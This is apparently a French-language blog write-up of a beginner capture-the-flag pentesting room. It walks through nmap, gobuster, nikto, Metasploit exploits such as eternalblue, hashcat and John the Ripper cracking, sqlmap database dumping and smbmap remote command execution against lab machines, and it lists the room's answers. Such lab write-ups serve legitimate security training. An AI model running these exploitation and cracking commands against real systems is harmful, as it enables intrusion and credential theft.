S’abonner
Connexion
Please login to comment
0 Commentaires
L’idée derrière cette salle est de fournir une introduction à divers outils et concepts couramment rencontrés dans les tests d’intrusion.
Cette salle suppose que vous avez des connaissances de base sur Linux et les réseaux. Cette salle n’est pas non plus censée être un “tout pour finir” pour les tests d’intrusion.
Les tâches dans cette salle peuvent être accomplies dans n’importe quel ordre; cependant, si vous débutez dans les tests d’intrusion, il est recommandé de remplir les deux premières sections avant de faire quoi que ce soit d’autre.
nmap est l’un des outils les plus importants d’un arsenal du pentesteur. Il permet à un pentesteur de voir quels ports sont ouverts et des informations sur les services exécutés sur ces ports. Cette tâche se concentrera sur vous montrer les différents drapeaux de nmap. Les questions de début peuvent être complétées en utilisant la page de manuel nmap; Les dernières questions vous demanderont de déployer la machine.
Network Mapper
-p
-sN
-sU
-sC
-A
-O
-sV
1
apache
2.4.18
Apache2 Ubuntu Default Page: It works
-l
-v
-p
-e
-u
L’un des principaux problèmes des tests de pénétration Web est de ne pas savoir où se trouve quelque chose. La reconnaissance de base peut vous dire où se trouvent certains fichiers et répertoires ; cependant, certaines des choses les plus cachées sont souvent cachées aux yeux des utilisateurs. C’est là qu’intervient gobuster, l’idée derrière gobuster est qu’il essaie de trouver des répertoires valides à partir d’une liste de mots de répertoires possibles. gobuster peut également être utilisé pour valider des sous-domaines en utilisant la même méthode.
Les questions de début de cette tâche utilisent la page de manuel de gobuster, tandis que les dernières questions utiliseront une machine virtuelle.
Si votre système d’exploitation ne fournit pas la page de manuel gobuster, veuillez utiliser gobuster –help
dir
dns
Example: if the php extension is set, and the word is “admin” then gobuster will test admin.php against the webserver
-x
-w
-U
-P
-s
-k
-a
-H
-u
Deploy the machine
No answer needed
secret
nmap -T5 -p- 10.10.126.218
gobuster dir -u http://10.10.126.218 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.10.126.218 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x xxa
Nikto est un outil d’analyse Web populaire qui permet aux utilisateurs de trouver des vulnérabilités Web courantes. Il est couramment utilisé pour vérifier les CVE courants tels que shellshock, et pour obtenir des informations générales sur le serveur Web que vous énumérez.
-h
-nossl
-ssl
-id
-plugins
apacheusers
nikto -list-plugins | grep apache
-update
-list-plugins
Metasploit est l’un des frameworks de test d’intrusion les plus populaires. Il contient une grande base de données de presque tous les principaux CVE, que vous pouvez facilement utiliser contre une machine. Le but de cette section est de passer en revue certaines des fonctionnalités majeures de metasploit, et à la fin il y aura une machine que vous devrez exploiter.
Une fois que vous avez installé metasploit via le programme d’installation ou vos dépôts de distributions, vous aurez de nombreuses nouvelles commandes à votre disposition. Cette section se concentrera principalement sur la commande msfconsole.
L’exécution de cette commande vous présentera une invite “msf5” qui vous permettra d’entrer des commandes. Toutes les tâches peuvent être traitées avec la commande “help“.
search
use
info
options
advanced
show
Une fois que vous avez trouvé le module pour la machine spécifique que vous souhaitez exploiter, vous devez le sélectionner et définir les options appropriées. Cette tâche vous guidera à travers la sélection et la configuration des options pour l’un des modules metasploit les plus populaires “eternalblue“. Toutes les commandes de base qui pourraient être exécutées avant de sélectionner un module peuvent également être exécutées lorsqu’un module est sélectionné.
use exploit/windows/smb/ms17_010_eternalblue
RHOSTS
RPORT
set
set smbpass username
set smbuser password
arch
payload
exploit
-j
sessions
-i
Une fois que vous avez exécuté l’exploit, idéalement, il vous donnera l’une des deux choses suivantes, un shell de commande normal ou un shell meterpreter. Meterpreter est le propre “centre de contrôle” de metasploits où vous pouvez faire diverses choses pour interagir avec la machine. Une liste des commandes commonmeterpreter et leurs utilisations peut être trouvée ici
Remarque: les shells réguliers peuvent généralement être mis à niveau vers des shells meterpreter en utilisant le module post/multi/manage/shell_to_meterpreter
download
upload
ps
migrate
ls
execute
shell
search
cat
background
use exploit/multi/http/nostromo_code_exec
rhosts
set rport 80
lhost
s3cretd1r
Woohoo!
Les commandes peuvent mettre du temps pour arriver, il faut se montrer patient.
Souvent, lors d’un pentestt, vous aurez accès à une base de données. Lorsque vous examinez la base de données, vous trouverez souvent une table des utilisateurs, qui contient les noms d’utilisateur et souvent des mots de passe hachés. Il est souvent nécessaire de savoir comment craquer les mots de passe hachés pour obtenir l’authentification sur un site Web (ou si vous avez de la chance, un mot de passe haché peut fonctionner pour ssh!).
Hashcat est un autre des outils de craquage de hachage les plus populaires. Il est réputé pour sa polyvalence et sa rapidité. Hashcat n’a pas de détection automatique pour les hashtypes, à la place il a des modes. Par exemple, si vous essayiez de casser un hachage md5, le “mode” serait 0, tandis que si vous essayiez de craquer un hachage sha1, le mode serait 100.
Une liste complète de tous les modes peut être trouvée ici.
-m
-a
3
17600
.\hashcat64.exe -m 0 -a 0 .\hash2.txt .\rockyou.txt
4bc9ae2b9236c2ad02d81491dcb51d5f
John The Ripper (jtr) est l’un des meilleurs outils de hachage disponibles. Il prend en charge de nombreux formats de hachage et est extrêmement facile à utiliser, tout en ayant de nombreuses options de personnalisation.
Remarque : il existe plusieurs variantes de jtr. Pour cette tâche, la version préinstallée sur kali sera utilisée
Note 2: Tous les hachages peuvent être craqués avec rockyou.txt
–wordlist
–format
–rules
hello
echo ‘5d41402abc4b2a76b9719d911017c592’ > hash
john hash –format=Raw-MD5 –wordlist=/usr/share/wordlists/rockyou.txt
echo ‘5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8’ > hash2
john hash2 –format=Raw-SHA1 –wordlist=/usr/share/wordlists/rockyou.txt
L’injection SQL est l’art de modifier une requête SQL afin que vous puissiez accéder à la base de données de la cible. Cette technique est souvent utilisée pour obtenir les données des utilisateurs telles que les mots de passe, les e-mails, etc. L’injection SQL est l’une des vulnérabilités Web les plus courantes, et en tant que telle, il vaut la peine de vérifier
-u
-g
-p
–dmbs
–level
–dump
-D
-T
-c
–os-shell
–dump-all
Parfois, vous ne pourrez pas utiliser sqlmap. Cela peut être dû à diverses raisons, par exemple si la cible a configuré un pare-feu ou une limite de demandes. Dans ce cas, il vaut la peine de savoir comment effectuer une injection SQL manuelle de base, ne serait-ce que pour confirmer qu’il y a une injection SQL. Une liste des moyens de vérifier l’injection SQL peut être trouvée ici.
Remarque : Comme il existe différentes manières de vérifier l’injection SQL, et qu’il serait difficile de transmettre correctement comment tester SQLI dans chaque situation, il n’y aura pas de questions pour cette tâche.
Pour montrer comment utiliser sqlmap pour vérifier les vulnérabilités et les données de table de vidage, je vais vous guider à travers un exemple d’application Web. Déployez la machine et commençons!
Remarque: Cette tâche utilisera sqlmap, mais vous pouvez essayer de l’exploiter manuellement. Il génère la requête SQL complète à chaque tentative, vous pouvez donc savoir ce que mysql essaie de faire!
Définissez l’URL sur l’adresse IP de la machine et exécutez la commande
get some information about the target
nmap -T5 -p- 10.10.112.5
Accès à la page web
Il faut essayer de voir si le champ msg est vulnérable à l’injection SQL en mettant ce caractère : ‘
À la vue de l’erreur que l’on obtient (You have an error in your SQL syntax;) on peut penser que le champ msg est vulnérable. On va capture cette séquence avec BurpSuite et on va enregistrer la requête pour l’utiliser avec sqlmap.
Après avoir enregistré la séquence avec le nom sql.req, on lance sqlmap avec cette commande :
sqlmap -r sql.req
3
sqlmap -r sql.req –dbms=MySQL –dump
tests
2
found_me
La plupart des techniques et outils de pentesting que vous avez vus jusqu’à présent peuvent être utilisés à la fois sous Windows et Linux. Cependant, l’une des choses que vous trouverez le plus souvent lorsque vous pentestez des machines Windows est samba, et cela vaut la peine de créer une section dédiée à son énumération.
Remarque : Samba est également multiplateforme, mais cette section sera principalement axée sur l’énumération Windows ; certaines des techniques que vous voyez ici s’appliquent également à Linux.
Poursuivant la tendance des outils ayant “map” dans le nom étant extrêmement populaire, smbmap est l’un des meilleurs moyens d’énumérer samba. smbmap permet aux pentesteurs d’exécuter des commandes (avec les autorisations appropriées), de télécharger et de télécharger des fichiers, et dans l’ensemble, il est tout simplement incroyablement utile pour l’énumération smb.
-u
-p
-H
-x
-s
-d
–download
–upload
smbmap -u “admin” -p “password” -H 10.10.10.10 -x ipconfig
smbclient vous permet de faire la plupart des choses que vous pouvez faire avec smbmap, et il vous offre également une invite interactive.
-W
-I
-c “ipconfig”
-u
-p
-N
get test
put /etc/hosts
Impacket est une collection de scripts Windows extrêmement utiles. Cela vaut la peine de le mentionner ici, car il a de nombreux scripts disponibles qui utilisent samba pour énumérer et même obtenir un accès shell aux machines Windows. Tous les scripts peuvent être trouvés ici.
L’escalade de privilèges est un sujet si vaste qu’il serait impossible de lui rendre justice dans ce type de salle. Cependant, c’est un sujet nécessaire qui doit être couvert, donc plutôt que de faire une tâche avec des questions, je vais vous fournir à tous quelques ressources.
General:
https://github.com/swisskyrepo/PayloadsAllTheThings (A bunch of tools and payloads for every stage of pentesting)
Linux:
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ (a bit old but still worth looking at)
https://github.com/rebootuser/LinEnum (One of the most popular priv esc scripts)
https://github.com/diego-treitos/linux-smart-enumeration/blob/master/lse.sh (Another popular script)
https://github.com/mzet-/linux-exploit-suggester (A Script that’s dedicated to searching for kernel exploits)
https://gtfobins.github.io (I can not overstate the usefulness of this for priv esc, if a common binary has special permissions, you can use this site to see how to get root perms with it.)
Windows:
https://www.fuzzysecurity.com/tutorials/16.html (Dictates some very useful commands and methods to enumerate the host and gain intel)
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp (A bit old but still an incredibly useful script)
https://github.com/411Hall/JAWS (A general enumeration script)
On va commencer par énumérer l’adresse IP avec NMAP
nmap -T5 -p- 10.10.235.134
Enumération de la page web avec Gobuster:
gobuster dir -u http://10.10.235.134/secret -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
Une fois le répertoire cachée trouvé, on recommence l’énumération du site web mais uniquement sur le /secret :
gobuster dir -u http://10.10.235.134/secret -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
On trouve le fichier secret.txt, donc on va sur la page web en question voir de quoi il s’agit :
On a un hash : 046385855FC9580393853D8E81F240B66FE9A7B8 que l’on va déchiffrer via l’outil hash-identifier de Kali
Méthode 2 : Hashcat
.\hashcat64.exe -m 100 .\hash2.txt .\rockyou.txt
Méthode 3 : JohnTheRipper
john hash –format=raw-sha1
Une fois casser, on peut se connecter en ssh:
Pour terminer, il faut faire une des commandes à faire lors d’une escalade de privilège :
sudo -l